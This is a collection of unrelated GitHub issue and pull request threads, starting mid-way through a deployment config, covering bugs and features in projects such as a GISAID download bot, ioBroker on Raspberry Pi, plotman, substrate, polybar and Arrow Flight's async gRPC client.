	Enable Managed Platform Updates: True
	Preferred Start Time: Sun:00:00
	Update Level: minor
4 . Enable AWS X-Ray Tracing Support: False
5 . Reverse Proxy: nginx
6 . Environment Variables:
7 . Virtual Private Cloud (VPC):
	Use a VPC : False
8 . Dotnet Build Configuration: Release
9 . Dotnet Publish Args: /p:DefineConstants=TEST
10. Self Contained Build: False


ChunkyBot crashes Selenium if the script takes too long

When validating the fix for #140, I noticed that ChunkyBot crashed on the 15th chunk
Connection to GISAID website crashes if (when) ChunkyBot runs for too long, I saw this intermittently in the past. I believe that there is some sort of server timeout on GISAID's side. Added some code to quit and relaunch the driver every 10 chunks. Re-testing to ensure that this fix works.
Downloading meta_tech.
Traceback (most recent call last):
  File "scripts/ChunkyBot.py", line 232, in <module>
    metafiles = retrieve_meta(driver, start=start, end=end, download_folder=download_folder)
  File "scripts/ChunkyBot.py", line 64, in retrieve_meta
    metafiles.append(wait_for_download(driver, download_folder, 'meta_tech'))
  File "scripts/ChunkyBot.py", line 82, in wait_for_download
    radio = driver.find_element_by_css_selector(file_query).click()
  File "/home/ewong347/.local/lib/python3.7/site-packages/selenium/webdriver/remote/webdriver.py", line 598, in find_element_by_css_selector
    return self.find_element(by=By.CSS_SELECTOR, value=css_selector)
  File "/home/ewong347/.local/lib/python3.7/site-packages/selenium/webdriver/remote/webdriver.py", line 978, in find_element
    'value': value})['value']
  File "/home/ewong347/.local/lib/python3.7/site-packages/selenium/webdriver/remote/webdriver.py", line 321, in execute
    self.error_handler.check_response(response)
  File "/home/ewong347/.local/lib/python3.7/site-packages/selenium/webdriver/remote/errorhandler.py", line 242, in check_response
    raise exception_class(message, screen, stacktrace)
selenium.common.exceptions.NoSuchElementException: Message: Unable to locate element: input[type='radio'][value='meta_tech']

We should be chunking less frequently..

sigh So turns out my code isn't terrible and the cause of all issues, not for this particular issue at least.
Some jokers decided to drop 11k sequences on a single day (2020-09-28) - gisaid used to limit the downloads of sequences to only 10k. Which means the following happens when we try to grab the metadata:

Will need to write some type of function that introduces a break point in the collection dates if Number of sequences > 10,000. For now though, I've hard coded a couple more date chunks so that  2020-09-28 is omitted. I think most time-efficient solution is to wait until gisaid takes off its 10k sequence limit on the metadata download.

Just out of curiosity I reset the date counter and tried downloading all sequences.
There's no longer any hard cap on sequences that you can download at once, however the server now times out on you if you try grabbing too much data at once.


Issues installing / running image on raspberry pi 4

Hello,
I have try to install ioBroker as container on my raspberry pi 4.                   -----
-----                    Startupscript is now running.                     -----
-----                          Please be patient!                          -----

-----                        Debugging information                         -----

-----                                System                                -----
-----                    arch:                armv7l                       -----

-----                             Docker-Image                             -----
-----                    image:               v5.2.0                       -----
-----                    build:               2021-10-15T03:48:21+00:00    -----

-----                               Versions                               -----
-----                    terminate called after throwing an instance of 'std::length_error'
what():  basic_string::_M_replace_aux
node:                                             -----
-----                    terminate called after throwing an instance of 'std::length_error'
what():  basic_string::_M_replace_aux
npm:                                              -----

-----                                 ENV                                  -----
-----                    SETGID:              1000                         -----
-----                    SETUID:              1000                         -----

-----                  Step 1 of 5: Preparing container                   -----
Updating Linux packages on first run...
W: GPG error: http://security.debian.org/debian-security bullseye-security InRelease: At least one invalid signature was encountered.
E: The repository 'http://security.debian.org/debian-security bullseye-security InRelease' is not signed.
W: GPG error: http://deb.debian.org/debian bullseye InRelease: At least one invalid signature was encountered.
E: The repository 'http://deb.debian.org/debian bullseye InRelease' is not signed.
W: GPG error: http://deb.debian.org/debian bullseye-updates InRelease: At least one invalid signature was encountered.
E: The repository 'http://deb.debian.org/debian bullseye-updates InRelease' is not signed.
Done.
Registering maintenance script as command...
Done.

-----             Step 2 of 5: Detecting ioBroker installation             -----
Existing installation of ioBroker detected in /opt/iobroker.

-----             Step 3 of 5: Checking ioBroker installation              -----
(Re)Setting folder permissions (This might take a while! Please be patient!)...
Done.
Fixing "sudo-bug" by replacing sudo in iobroker with gosu...
cp: preserving times for '/opt/iobroker/iobroker.bak': Operation not permitted
Done.
terminate called after throwing an instance of 'std::length_error'
what():  basic_string::_M_replace_aux
iobroker: line 6:   182 Aborted                 gosu iobroker node /opt/iobroker/node_modules/iobroker.js-controller/iobroker.js "$@"
/opt/scripts/iobroker_startup.sh: line 199: [: !=: unary operator expected
-----                Step 4 of 5: Applying special settings                -----
Some adapters have special requirements/ settings which can be activated by the use of environment variables.
For more information take a look at readme.md on Github!

-----                    Step 5 of 5: ioBroker startup                     -----
Starting ioBroker...
terminate called after throwing an instance of 'std::length_error'
what():  basic_string::_M_replace_aux
/opt/scripts/iobroker_startup.sh: line 505:   203 Aborted                 gosu iobroker node node_modules/iobroker.js-controller/controller.js
tail: cannot read realtime clock: Operation not permitted
Any clue what is wrong here ? Does this package supported on raspberry pi ?

My OS Version:
Linux raspberrypi 5.10.52-v7l+ #1440 SMP Tue Jul 27 09:55:21 BST 2021 armv7l GNU/Linux
docker version
Client: Docker Engine - Community
Version:           20.10.8
API version:       1.41
Go version:        go1.16.6
Git commit:        3967b7d
Built:             Fri Jul 30 19:55:38 2021
OS/Arch:           linux/arm
Context:           default
Experimental:      true
Server: Docker Engine - Community
Engine:
Version:          20.10.8
API version:      1.41 (minimum version 1.12)
Go version:       go1.16.6
Git commit:       75249d8
Built:            Fri Jul 30 19:53:31 2021
OS/Arch:          linux/arm
Experimental:     false
containerd:
Version:          1.4.9
GitCommit:        e25210fe30a0a703442421b0f60afac609f950a3
runc:
Version:          1.0.1
GitCommit:        v1.0.1-0-g4144b63
docker-init:
Version:          0.19.0
GitCommit:        de40ad0

Upgraded to latest available os / docker versions - Unfortunatelly still the same issues:
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 5.10.63-v7l+ #1459 SMP Wed Oct 6 16:41:57 BST 2021 armv7l GNU/Linux
pi@raspberrypi:~ $ docker version
Client: Docker Engine - Community
Version:           20.10.9
API version:       1.41
Go version:        go1.16.8
Git commit:        c2ea9bc
Built:             Mon Oct  4 16:06:55 2021
OS/Arch:           linux/arm
Context:           default
Experimental:      true
Server: Docker Engine - Community
Engine:
Version:          20.10.9
API version:      1.41 (minimum version 1.12)
Go version:       go1.16.8
Git commit:       79ea9d3
Built:            Mon Oct  4 16:04:47 2021
OS/Arch:          linux/arm
Experimental:     false
containerd:
Version:          1.4.11
GitCommit:        5b46e404f6b9f661a205e28d59c982d3634148f8
runc:
Version:          1.0.2
GitCommit:        v1.0.2-0-g52b36a2
docker-init:
Version:          0.19.0
GitCommit:        de40ad0

Hi,
seems to be the sam issue like #199. Please check this:
https://github.com/buanet/ioBroker.docker/issues/199#issuecomment-932918780
Regards,
André

Hello,
Thank you for pointing out the previous issue. It solved my problem as well.
Regards,
Zbigniew


DatePicker doesn't update year properly in this specific case

Steps:
Basically, when you go through Year (any year) > December > January 1st, year gets a 1 appended instead of added.
If you don't switch years, it doesn't happen:

What is Element version number?

@QingWei-Li just installed it 1.1.2

http://jsfiddle.net/55ubgyby/
It works. Can you provide a demo?

@QingWei-Li You're selecting Oct and then a Nov's day, not Dec (december). The problem appears when it calculates the next year while in a "month view".


plotman crash

plotman crash
version 0.3.1+dev
...sleeping 20 s: (True, 'Starting plot job: chia plots create -k 32 -r 2 -u 128 -b 8196 -t /swap/00 -d /plot/disk2 -f xxx -p xxx ; logging to /root/logs/plots/2021-05-21T04_11_18.667857+00_00.log')
...sleeping 20 s: (False, 'stagger (20s/60s)')
...sleeping 20 s: (False, 'stagger (41s/60s)')
...sleeping 20 s: (False, 'max jobs (50) - (61s/60s)')
...sleeping 20 s: (False, 'max jobs (50) - (81s/60s)')
...sleeping 20 s: (False, 'max jobs (50) - (102s/60s)')
...sleeping 20 s: (True, 'Starting plot job: chia plots create -k 32 -r 2 -u 128 -b 8196 -t /swap/00 -d /plot/disk1 -f xxx -p xxx; logging to /root/logs/plots/2021-05-21T04_13_20.629211+00_00.log')
...sleeping 20 s: (False, 'stagger (20s/60s)')
Traceback (most recent call last):
File "/usr/local/bin/plotman", line 8, in
sys.exit(main())
File "/usr/local/lib/python3.8/dist-packages/plotman/plotman.py", line 145, in main
wait_reason = manager.maybe_start_new_plot(cfg.directories, cfg.scheduling, cfg.plotting)
File "/usr/local/lib/python3.8/dist-packages/plotman/manager.py", line 76, in maybe_start_new_plot
jobs = job.Job.get_running_jobs(dir_cfg.log)
File "/usr/local/lib/python3.8/dist-packages/plotman/job.py", line 173, in get_running_jobs
parsed_command = parse_chia_plots_create_command_line(
File "/usr/local/lib/python3.8/dist-packages/plotman/job.py", line 48, in parse_chia_plots_create_command_line
if 'python' in command_line[0].lower():
IndexError: list index out of range

I have a similar issue
$ plotman interactive
Traceback (most recent call last):
  File "/home/julius/.local/bin/plotman", line 8, in <module>
    sys.exit(main())
  File "/home/julius/.local/lib/python3.9/site-packages/plotman/plotman.py", line 173, in main
    interactive.run_interactive()                                                                                File "/home/julius/.local/lib/python3.9/site-packages/plotman/interactive.py", line 334, in run_interactive
    curses.wrapper(curses_main)
  File "/usr/lib/python3.9/curses/__init__.py", line 94, in wrapper
    return func(stdscr, *args, **kwds)
  File "/home/julius/.local/lib/python3.9/site-packages/plotman/interactive.py", line 110, in curses_main
    jobs = Job.get_running_jobs(cfg.directories.log, cached_jobs=jobs)
  File "/home/julius/.local/lib/python3.9/site-packages/plotman/job.py", line 173, in get_running_jobs
    parsed_command = parse_chia_plots_create_command_line(
  File "/home/julius/.local/lib/python3.9/site-packages/plotman/job.py", line 48, in parse_chia_plots_create_command_line
    if 'python' in command_line[0].lower():
IndexError: list index out of range

$ plotman version
plotman 0.3.1+dev

Hum, there can be a command line with no elements?  That's... interesting.  I'm working on a fix but I'm curious if this happens continuously or only occasionally?

I'm not sure how to recreate the situation but I worked up https://github.com/ericaltendorf/plotman/pull/750 real quickly and merged it into the development branch.  You can either try that or wait for a release, hopefully within a few days.  Either way you will need to update your config.  When you run the new code it will give you an error including a link to instructions on the wiki.

same here . plotting with plotman for a long time, never happened.
Traceback (most recent call last):
File "/home/user/chia-blockchain/venv/bin/plotman", line 8, in
sys.exit(main())
File "/home/user/chia-blockchain/venv/lib/python3.8/site-packages/plotman/plotman.py", line 179, in main
interactive.run_interactive()
File "/home/user/chia-blockchain/venv/lib/python3.8/site-packages/plotman/interactive.py", line 335, in run_interactive
curses.wrapper(curses_main)
File "/usr/lib/python3.8/curses/init.py", line 105, in wrapper
return func(stdscr, *args, **kwds)
File "/home/user/chia-blockchain/venv/lib/python3.8/site-packages/plotman/interactive.py", line 114, in curses_main
jobs = Job.get_running_jobs(cfg.directories.log)
File "/home/user/chia-blockchain/venv/lib/python3.8/site-packages/plotman/job.py", line 177, in get_running_jobs
parsed_command = parse_chia_plots_create_command_line(
File "/home/user/chia-blockchain/venv/lib/python3.8/site-packages/plotman/job.py", line 48, in parse_chia_plots_create_command_line
if 'python' in command_line[0].lower():
IndexError: list index out of range

Had you updated to v0.4 or v0.4.1?  They should both have the fix mentioned above.

@btcnash, has this issue been resolved with the more recent versions?


Support multiple calls of clear_prefix with limit

When calling clear_prefix with a limit multiple times in the same block it will always delete the same keys for the exact same input. The reason for this is that we don't check from the overlay on what we already have deleted. So, we always delete the same keys from the backend until the limit is reached. It was documented in https://github.com/paritytech/substrate/pull/11182 to make this more clear to the FRAME users on how the internals are working.
@shawntabrizi and @kianenigma proposed that we make this more intuitive, aka calling it multiple times deletes always new keys and not always the same ones.
I'm personally not really convinced that we should do this, because:

If you want to delete more items, you can just directly pass a higher limit or just call a second time with a higher limit.
As the node side doesn't really know about the internals of the runtime, it would need to take into account the keys that are present in the overlay and make the implementation not count these towards the limit when we encounter them again in the backend. While this works, it also increases the complexity and may leads to a slower execution the more often clear_prefix is called.
We would need to introduce a new host function version for clear_prefix where only version 3 is using the new implementation. This needs to be done to ensure that we don't break any old blocks.

That sounds already like some bug? The idea why you use clear_prefix with some limit is that you don't read too much in one block and instead do it over multiple blocks. If something tries to trigger an operation that should run over multiple blocks, is triggered twice per block sounds like a bug to me.

That's one possibility, but it's not the only one. It's perfectly reasonable that a transactor calling a storage cleanup operation does so without using the entire (or even half of) the block's weight. One reason would be because they might not want to take the risk of the block having that amount of weight free. But regardless it should be supported. And if two of these transactions happen to be bundled in the same block then we'll end up with a broken state change.
 Unless it happened to be engineered to strictly limit one cleanup operation per block (and I don't see why it would) then it's trivially attackable.


Add support for HSL color space

This feature is requested in #1296.
HSL color can now be specified by using the format hsl(hue, sat, lum) or hsla(hue, sat, lum, alpha) in place of the normal color code.
The conversion from RGB to HSL, while not required, was also implemented in case of future need. I also added some unit tests to cover the conversion code.

The thing is, while #1920 was in the work, I went on and wrote a separate color conversion tool here. Not only it can convert from HSL to RGB, it also supports other color spaces such as HSV, CIELab and RGB(A), and color operations like modifying brightness, saturation and hue.
I could just modify the existing code to make it work for HSL, but I think it might be better to use this opportunity to add all those features to polybar

I'm not sure we need support for all these different color spaces, it's just added complexity for something almost nobody will use.
The color modification functions sound interesting though. But I am a bit wary of the complexity here since this will basically add an entire color modification language to polybar.

I actually intended to use the tool as an external dependency since I have already uploaded it to the AUR and I intend to upload it to other repositories too. So this may actually reduce the size of the added code since we won't have to include the conversion functions in polybar.
Color modification can be implemented in config::dereference, i.e. ${color: section.key; brightness*1.5} would mean "use the same color in section.key, but with 1.5 times the brightness". The brightness*1.5 part would be handled by the tool.
Also, if we want to implement any kind of gradient in the future (such as requested in #682), we may want to do it in CIELab since gradients in RGB don't look good (as shown here, which is taken from this question).

I don't think a new external dependency is a good idea. Especially one that doesn't exist in the official repos of most distros.
Because polybar will likely no longer be packaged natively in some distros if it means they have to add other third-party packages to the distro as well.
Right now polybar can be compiled in most distros without having to manually compile third-party software and I very much would like to keep it that way.
The original usecase behind #682 is probably better supported by #2223.
I just think we shouldn't go overboard with adding features here without knowing whether they will be even used.
I very much like your initiative and conceptually, having access to a vast library of color manipulation functionality, sounds quite cool.
But there is always a cost involved, in this case a maintenance cost on our side and an implementation cost on your side.
Before we continue going down this path of adding all this color modification code, we should first try to figure out whether this is something that people actually find useful. I will share a post on our subreddit and in our messaging channels to ask people to tell us how they use colors and what abilities they are missing.
For now, I think we should focus on the hsl conversion in config::convert and color modification code can be implemented independently from this if/when we go in this direction in dereference where the ${color:...} reference could just load the given color as an rgba color and our conversion function would kick in.
Thank you very much for your efforts here :smiley:

I just posted on reddit. Let's see what the users think.

Some users did ask for color "brightness" and "manipulation", that's something Cspace would provide. I suggest we use it as an internal library instead of as a dependency.

I am very conflicted about this.
Adding a new dependency, whether as a submodule or a proper dependency, puts polybar on the hook for making sure nothing breaks with that dependency. While I do believe that you will be very responsive when it comes to issues with cspace, I don't know how the situation will look like in, say, two years. If you ever decide that you no longer want to maintain cspace (and it is totally understandable that you at some point lack the interest or time to do so), polybar will have an unmaintained dependency and we will have to fork and maintain it, like we already do with xpp and i3ipcpp.
I very much appreciate all the work you are doing here, but I don't think we should add cspace to polybar.
I also did not see enough enthusiasm about these color modifications that it would warrant adding an extra dependency for it.


Agent spawn location in config

I cannot seem to find the right syntax for controlling the agent's spawning location in the documentation.

Same as other elements:
!ArenaConfig
arenas:
  0: !Arena
    t: 0
    - !Item
      name: Agent
      positions:
        - !Vector3 {x: 20, y: 1, z: 20}


Eq, PartialOrd and Ord traits implementation for json_types::integers

There is no support to compare integer json_types. We just can simply derive these traits here:
https://github.com/near/near-sdk-rs/blob/8a7cdfc51a34d4530f8eefc48a24cf48fba2ab9e/near-sdk/src/json_types/integers.rs#L11
I can make my first contribution with this. What do you think ?

Go for it! Seems valid, although these types are just used for JSON serialization, doesn't add a cost unless used so I can't see why it wouldn't be accepted.


Fix file path parsing bug

Fixes #246
Fixes #247

I tried running the command export /test_folder/test_file.json and the app said that the export was successful but I did not see any files created.

I tried running the command export /test_folder/test_file.json and the app said that the export was successful but I did not see any files created.

Is the file found under C:/test_folder/test_file.json?  I am probably going to add some explanation in the UG

@Goh-Li-Ting Is the file found under C:/test_folder/test_file.json?  I am probably going to add some explanation in the UG

@aexolate Yup it is, thanks!


mitmproxy backend problem with .exe

Hi! I made an executable of my python program with seleniumwire where it opens a chrome webdriver with mitmproxy backend. Initially it was not going on the other pc that does not have python installed and I saw that the problem was that it did not have mitmproxy installed. I did the installation in mitmproxy-5.3.0 now. When it tries to open with backend, it gives the following error:
proxy returned status 502 for http://seleniumwire/initialise
I need an answer as soon as possible to solve my problem. Thank you already

Please follow the bug report issue template.


Sadly doesn't work

This example doesn't work anymore. Throws some 400+ errors :(

yes it is not working.. :(

yes it is not working.. :(


Fixed surface alignment.

Fixes #3576

The code looks good.
In X11 lib there's more efficient method:
(((nbytes) + ((pad) - 1)) & ~(long)((pad) - 1))
But it only apply to alignment of power of 2.

Would you mind also fix other places?
cacheEntry->scanline = (cacheEntry->width + (cacheEntry->width % 4)) * 4;

in gdi_SurfaceToCache

Can we get this fix checked in?
I think we need approval from some reviewer with write access ;)

@hardening @bmiklautz @mfleisz @nfedera Could you have a look?


create oauth-server for bundle

There are still issues with cookies which needs to be resolved without merging.
And UI looks strange without displaying name / email in the topbar. please fill id token properly so it's not empty and looking buggy.

are /api/authz/code and token endpoints working ?

There are still issues with cookies which needs to be resolved without merging.
And UI looks strange without displaying name / email in the topbar. please fill id token properly so it's not empty and looking buggy.

Fixed


Development mode sticking _1 after imports

Is it possible to eliminate the _1, and have class names on import etc start as foo, then any dupes be called foo_1, foo_2 etc? I'll make a PR if I'm on the mark with it. It's driving me nuts trying to paste variable names into console and add _1 each time

@jpike88 that's typescript ;-)

Can we override it in any way?

@jpike88 nope we can't... Sorry, not without breaking the sourcemaps


⚠ ClamAV has degraded performance

In 4986e5e, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 181 ms

Resolved: ClamAV performance has improved in fbc817f.


[YAML] contract.py::get_address() doesn't handle 'sapphire-testnet' etc

address.json has entries "oasis_saphire_testnet" and "oasis_saphire_mainnet".
contract.py handles the spelling error, by adding a new entry with two p's.
ppss.yaml uses "sapphire-testnet" and "sapphire-mainnet".
So the strings are incompatible. Right now get_address() fails and returns a None.

Fixed in https://github.com/oceanprotocol/pdr-backend/commit/0137395427226da48ef2fafb0b7dee11726e2611


Does using AWS Mobile Hub + AWS Amplify will carry or rise problems with a HIPAA Audit process?

Hi,
Just a concern about using AWS Mobile Hub + AWS Amplify in order to make easier our tasks on the frontend side:
Does the use of AWS Mobile Hub + AWS Amplify will carry or rise problems with a HIPAA Audit process?
Thanks!

We don't see Mobile Hub listed as service here:

https://aws.amazon.com/compliance/hipaa-eligible-services-reference/

ooooooor... is it just a tool that will help our app to securely and easiily talk with a plethora of Amazon Web Services?

Hi Fellas!
Any follow up on this?
Thanks!


Fix widget ids for barbarian assault

Pretty sure this was just fixed in 1bec513137495ad7f7ec8ca976fe51009cf263ca

Pretty sure this was just fixed in 1bec513137495ad7f7ec8ca976fe51009cf263ca


Adding EV_EVENT_TAG support for PCR9

We see new Tagged Event log events using EV_EVENT_TAG measured in PCR9 in the latest Ubuntu 24.04 Kernel https://github.com/torvalds/linux/blob/1722389b0d863056d78287a120a1d6cadb8d4f7b/drivers/firmware/efi/libstub/efi-stub-helper.c#L263-L274. We should update our eventlog parser to support that new event type.

/gcbrun

/gcbrun

Also I notice we don't have a MachineState test. Please add one and confirm the digest of LOADED_IMAGE::LoadOptions is not there

Done

/gcbrun

/gcbrun

/gcbrun

Also I notice we don't have a MachineState test. Please add one and confirm the digest of LOADED_IMAGE::LoadOptions is not there

Done

/gcbrun

/gcbrun


Add NSFW filter to usernames.

Relates to https://github.com/benawad/vscode-stories/issues/22 however this issue is in the wrong API cc @benawad @hariacidreign @yashmunjal
Acceptance Criteria

Profanity filter on usernames has some tests
-- The tests could be quite a fun test run "When some pillock tries to set username as Sh1tbagDeveloper"
Find a library off the shelf ideally that has an epic filter over a regex ideally...

Implementation notes

There are ways to implement unsafe regex so this must be considered for security scrutiny when the PR is open.
Might be worth "upping" the rate limiting (if there is any) on setting a username to prevent somebody trying a dictionary/wordlist of profanity.

@HariAcidReign @YashMunjal
There is also note that this is sort of fixed by the idea of social login because it would mean it would be an arduous process to just create GitHub/MS accounts with daft usernames. cc @benawad for priority/appetite to do social login

yeah I switched it over to github login, so I don't think we need to worry about this anymore


Feature request - more informative errors for invalid server names

Context
A NASA VEDA user encountered an issue with failed spawns this morning and interpreted it as an issue with spawning multiple servers since that's what she was trying to do at the time. We eventually determined that the spawns were failing because the named server started with a capital letter. I think it would be helpful to have more informative error checking on server names to prevent people from spending time on this.
Here's what the user sees after trying to spawn a server with a name starting with a capital letter:

Thanks for your work on the 2i2c infrastructure - please feel welcome to transfer this issue if it belongs somewhere else.
Task list
 - [ ] Provide a warning when a user tries to give a server a impermissible name

Definition of Done
No response

This was recently fixed upstream (https://github.com/jupyterhub/kubespawner/issues/737) and will come when we roll out the next version of zero to jupyterhub!


Accessing host instance devices...

I am aware that k8s does not support docker option --device. So I've resorted to use the security context privileged:true when defining a pod. This however does not yield the expected results on having the container access the instance devices.
NOTE: both the api server and kubelet are running with allow-privileged: true
I can run the exact docker image on the node manually with --privileged: true and the container performs nominally. However launching the container via k8s, the application can no longer access the devices. Looking further, and running docker inspect on the docker and k8s container, I can see the k8s is running in privileged mode as expected however there is a delta in both the security context and devices settings. Docker says devices: [] while K8s container says devices: null.
Thinking that might be the root cause of this issue but not super sure??
Has anyone been able to access /dev or /sys/class on the host instance from a k8s instantiated image? Any thoughts or workarounds?

Have you tried using the hostPath volume?

Tx Lucas! I did try the volume mounts and thought that would work, but
ended it being a dud.
I'll give it another rinse, perhaps I've missed something in the
excitement. I'll update with my findings.
On Thu, Nov 17, 2016 at 7:42 AM, Lucas Käldström<EMAIL_ADDRESS>wrote:

Have you tried using the hostPath volume?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/luxas/kubernetes-on-arm/issues/145#issuecomment-261264144,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAP3LK22cg_B_QH0jEpCuMIbfS4qf5nks5q_GfygaJpZM4K1YaQ
.

Again thank you Lucas for prompting me to revisit. You Rock!!
Turns out one on the mount points  symlinked to another dir that I was not
mounting ;-(
My stuff is running like a champ now.
Thank so much for your contributions and excellent input!
On Thu, Nov 17, 2016 at 9:02 AM, Fernand Galiana<EMAIL_ADDRESS>wrote:

Tx Lucas! I did try the volume mounts and thought that would work, but
ended it being a dud.
I'll give it another rinse, perhaps I've missed something in the
excitement. I'll update with my findings.
On Thu, Nov 17, 2016 at 7:42 AM, Lucas Käldström<EMAIL_ADDRESS>
wrote:

Have you tried using the hostPath volume?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/luxas/kubernetes-on-arm/issues/145#issuecomment-261264144,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAP3LK22cg_B_QH0jEpCuMIbfS4qf5nks5q_GfygaJpZM4K1YaQ
.


Update iot-suite-what-are-preconfigured-solutions.md

The IoT Hub provides the connectivity for the devices to the cloud for the backend system made of all other services (stream analytics, web jobs, ...) so it's the "cloud gateway".

Hi @ppatierno, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
We will now validate the agreement and then real humans will evaluate your PR.
TTYL, AZPRBOT;


Looser pining of traefik base img

There's no need to pin the patch version; pinning the minor version should be sufficient and will allow us to benefit from bug fixes when we rebuild/redeploy.

Needs testing


Verbatim text within tag

When using with JS templates (e.g. JS Views), it would be useful to be able to output content such as this
<button class="delete" {{if !enabled}}disabled{{/if}}>Delete</button>

button.delete {{if !enabled}}disabled{{/if}} Delete will not work because the condition will be considered part of the elements content, not part of the tag.
This would not be a problem with AngularJS, because of ng-attrs, ng-disabled, etc. in its HTML style syntax, rather than conditional output blocks within tags.
Need to find out if slim-lang has some syntax for this.
One option could be to allow verbatim attribute blocks with some special syntax. Note that in any event, these will not be included in attribute merging, as the evaluation is at different times.

Thinking about it, this should be possible using the inline HTML syntax, but is still less than ideal if the tag has contents as will not be indented, or wants to use the more advanced syntax for other attributes.


Device installation

This PR adds 18 pictures and one page "manage device installation with group policy" to the repo

Closing PR as clean replacement has been created. #9810
CC: @Dansimp


Support GPT4V Agents

Currently, the system seems to only support text-based agents, would be nice to add support for multimodal models.
Autogen's implementation: https://github.com/microsoft/autogen/blob/main/autogen/agentchat/contrib/multimodal_conversable_agent.py
It seems non-straightforward to make the langchain memory modules to support multi-modal memory. Is my understanding correct?

We are def going multimodel, we can work around memory and build our internal one if that becomes a blocker, addin this as feature-accepted

closing this as duplicate of #114


Issue with context.Response.Body if case of exceptions during next call

Right now, inside CompressionMiddleware you restore context.Response.Body after call to compress strategy that call next.
But case of exception during next call, context.Response.Body will still contain closed GZipStream. This can cause issue for other middleware that trying to work with it,
To fix, I suggest to add try/finally block at CompressionMiddleware that restore original context.Response.Body.

I can create a PR if you ok with this.


GH-36512: [C++][FlightRPC] Add async GetFlightInfo client call

Rationale for this change
Async is a long-requested feature.
What changes are included in this PR?
Just the C++ implementation of async GetFlightInfo for the client.
Are these changes tested?
Yes.
Are there any user-facing changes?
Yes, new APIs.

Closes: #36512

Assuming the interface is roughly OK, I'd like to add basic Python bindings in the next PR (to make sure this interface adapts properly to asyncio/AnyIO)

Ah, I always forget the windows export macros...

TODOs:

Use Status instead of TransportStatus, add TransportStatusDetail
Add overload to directly return a Future<FlightInfo> (and use that for convenience in tests)
Start looking into HTTP status codes as the canonical status codes (incl. how they play out with gRPC)

Ah, it may be experimental before v1.40... https://github.com/grpc/grpc/commit/3e19babc1e53a31b393ddc84f7c7b6fcd100e4ef

Hmm, interesting...
[ RUN      ] TestFlightClient.RoundTripStatus
E0717 18:37:19.276923000<PHONE_NUMBER>34336 thd.cc:182]                   pthread_join failed: Resource deadlock avoided

    frame #0: 0x00007ff80697fffe libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007ff8069b61ff libsystem_pthread.dylib`pthread_kill + 263
    frame #2: 0x00007ff806901d24 libsystem_c.dylib`abort + 123
    frame #3: 0x000000010f6733e4 libgpr.33.0.0.dylib`grpc_core::Crash(std::__1::basic_string_view<char, std::__1::char_traits<char> >, grpc_core::SourceLocation) + 186
    frame #4: 0x000000010f6746e6 libgpr.33.0.0.dylib`grpc_core::(anonymous namespace)::ThreadInternalsPosix::Join() + 138
    frame #5: 0x000000011046299c libgrpc++.1.56.2.dylib`grpc_core::Thread::Join() + 24
    frame #6: 0x0000000110444ee0 libgrpc++.1.56.2.dylib`grpc::CompletionQueue::ReleaseCallbackAlternativeCQ(grpc::CompletionQueue*) + 84
    frame #7: 0x000000011043c746 libgrpc++.1.56.2.dylib`grpc::Channel::~Channel() + 58
    frame #8: 0x000000011043ebc9 libgrpc++.1.56.2.dylib`std::__1::__shared_ptr_pointer<grpc::Channel*, std::__1::shared_ptr<grpc::Channel>::__shared_ptr_default_delete<grpc::Channel, grpc::Channel>, std::__1::allocator<grpc::Channel> >::__on_zero_shared() + 23
    frame #9: 0x000000011043ef21 libgrpc++.1.56.2.dylib`std::__1::shared_ptr<grpc::ChannelCredentials>::~shared_ptr() + 49
    frame #10: 0x0000000111ea89c5 libarrow_flight.1300.0.0.dylib`::~ClientRpc() at grpc_client.cc:69:8
    frame #11: 0x0000000111e9c725 libarrow_flight.1300.0.0.dylib`::~ClientRpc() at grpc_client.cc:69:8
    frame #12: 0x0000000111eb3cda libarrow_flight.1300.0.0.dylib`::~UnaryUnaryAsyncCall() at grpc_client.cc:588:7
    frame #13: 0x0000000111eb3755 libarrow_flight.1300.0.0.dylib`::~UnaryUnaryAsyncCall() at grpc_client.cc:588:7
    frame #14: 0x0000000111eb3779 libarrow_flight.1300.0.0.dylib`::~UnaryUnaryAsyncCall() at grpc_client.cc:588:7
    frame #15: 0x0000000111e79ebc libarrow_flight.1300.0.0.dylib`::operator()() at unique_ptr.h:57:5
    frame #16: 0x0000000111e79dcc libarrow_flight.1300.0.0.dylib`::reset() at unique_ptr.h:318:7
    frame #17: 0x0000000111e7154d libarrow_flight.1300.0.0.dylib`::operator=() at unique_ptr.h:237:5
    frame #18: 0x0000000111e71509 libarrow_flight.1300.0.0.dylib`::SetAsyncRpc() at transport.cc:107:24
    frame #19: 0x0000000111eb4032 libarrow_flight.1300.0.0.dylib`::Finish() at grpc_client.cc:622:5
    frame #20: 0x0000000111eb392f libarrow_flight.1300.0.0.dylib`::OnDone() at grpc_client.cc:613:5

I suppose we can't/shouldn't try to drop ourselves (because we might try to drop ourselves from the gRPC thread that we implicitly own?) and instead let ourselves naturally drop when the listener goes out of scope. So despite having a shared_ptr<Listener>, we still have unsafety (since if the client doesn't hold on to the listener, the listener will go out of scope and this situation will happen), in which case I'd sort of prefer the API use Listener* to make it clear that the client is responsible for lifetime...

I don't understand what "drop ourselves" mean here, can you clarify?

Antoine, I have an email notification but I don't see your message, but for clarification, "drop ourselves" here means the flight::internal::ClientTransport::SetAsyncRpc(listener.get(), nullptr); line, which causes the UnaryUnaryAsyncCall to be destructed; it looks like gRPC doesn't like us doing this (only on macOS?) because we are appear to be running on a gRPC thread at the time (I wonder if on macOS, a thread is spawned for each async call instead of using a pool?) - I'll have to look into what happens on macOS
It's not strictly necessary to make that call anyways (once the client drops the Listener, the UnaryUnaryAsyncCall will get dropped with it since it's stored as a unique_ptr inside the Listener) - but if the client doesn't retain the listener, then when we drop our reference to the listener, we'll end up destructing ourselves anyways.

Antoine, I have an email notification but I don't see your message

Sorry. After taking a look at the stack trace, I understood what you said, so I deleted the message :-)

Hmm, so it seems gRPC doesn't like us to destroy a ClientReactor from a gRPC-initiated callback (OnDone). Fair enough, but the problem is that dropping resources when the async system tells us the IO is finished is the logical thing to do.
